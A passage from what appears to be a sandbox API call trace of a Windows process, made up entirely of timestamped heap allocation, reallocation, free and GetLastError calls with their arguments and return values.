(HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe4e8 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe500 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe5a8 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe5c0 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe338 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe5f0 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe368 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe638 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe698 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe608 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe668 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe650 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe680 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe6b0 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe620 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe6c8 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe200 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbea40 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeab8 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbeaa0 [0073.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c33b80, Size=0x100) returned 0x2acc480 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbead0 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbea10 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbea58 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbea28 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbea70 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbea88 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe8d8 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe770 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe920 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe878 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe7b8 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe758 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe908 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe938 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe7a0 [0073.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe7d0 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe950 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe788 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe9e0 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe848 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe968 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe860 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe830 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe8c0 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe8f0 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe7e8 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe890 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe8a8 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe980 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe818 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe800 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe998 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe9f8 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe710 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe9b0 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe9c8 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe728 [0073.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe740 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbee18 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbee60 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeec0 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbee90 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeea8 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbee30 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbee78 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbeed8 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbee48 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbebd8 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbecc8 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbec50 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbedd0 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbeba8 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbebf0 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbed70 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbec20 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbece0 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeb48 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbed88 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeb90 [0073.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbec80 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeda0 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbecb0 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbee00 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbedb8 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbecf8 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbede8 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbed10 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbebc0 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeb18 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbeb30 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbec08 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbeb60 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeb78 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbec38 [0073.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbec68 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbec98 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbed28 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbed40 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbed58 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf0b8 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf0e8 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbef80 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbef98 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf040 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf148 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf208 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbef50 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbef20 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf0a0 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf088 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbef38 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf0d0 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf070 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf100 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbefb0 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbefc8 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf130 [0073.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf118 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf160 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbefe0 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf178 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf190 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbeff8 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf010 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf1a8 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf1c0 [0073.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbf010 | out: hHeap=0x2ad0000) returned 1 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf1d8 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf1f0 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbef68 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf010 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf028 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf058 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf250 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf220 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf238 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf2b0 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf280 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf298 [0073.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf2e0 [0073.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbf2c8 [0073.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbf268 [0073.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acc480, Size=0x200) returned 0x2acb7f8 [0073.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbf598 | out: hHeap=0x2ad0000) returned 1 [0073.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbf7c0 | out: hHeap=0x2ad0000) returned 1 [0073.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bc07b8 | out: hHeap=0x2ad0000) returned 1 [0073.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x400) returned 0x2bc0f18 [0073.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bc0ae8 | out: hHeap=0x2ad0000) returned 1 [0073.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x80) returned 0x2c2e4a8 [0073.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2e4a8, Size=0x100) returned 0x2acc480 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.758] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.759] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.760] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.761] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] GetLastError () returned 0x0 [0073.762] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acc480, Size=0x200) returned 0x2acb7f8 [0073.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x400) returned 0x2bc2b30 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc23c0 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2240 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2438 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2450 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2198 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2168 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc21f8 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2258 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2270 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2318 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3b48 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc38a8 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3b00 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ab8 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc39c8 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc39e0 [0073.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc39f8 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc38c0 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3a10 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3890 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc38f0 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3b18 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ad0 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3a28 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3a58 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3b30 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc38d8 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3a40 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3998 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3b60 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3a70 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3a88 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ae8 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3aa0 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3878 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3908 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc39b0 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3938 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3920 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3950 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3968 [0073.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3980 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3bf0 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3de8 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3b78 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3c38 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3c08 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3b90 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ba8 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3d28 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3c20 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3c50 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ce0 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3e00 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3dd0 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3e18 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3c68 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3d88 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3da0 [0073.765] RtlAllocateHeap 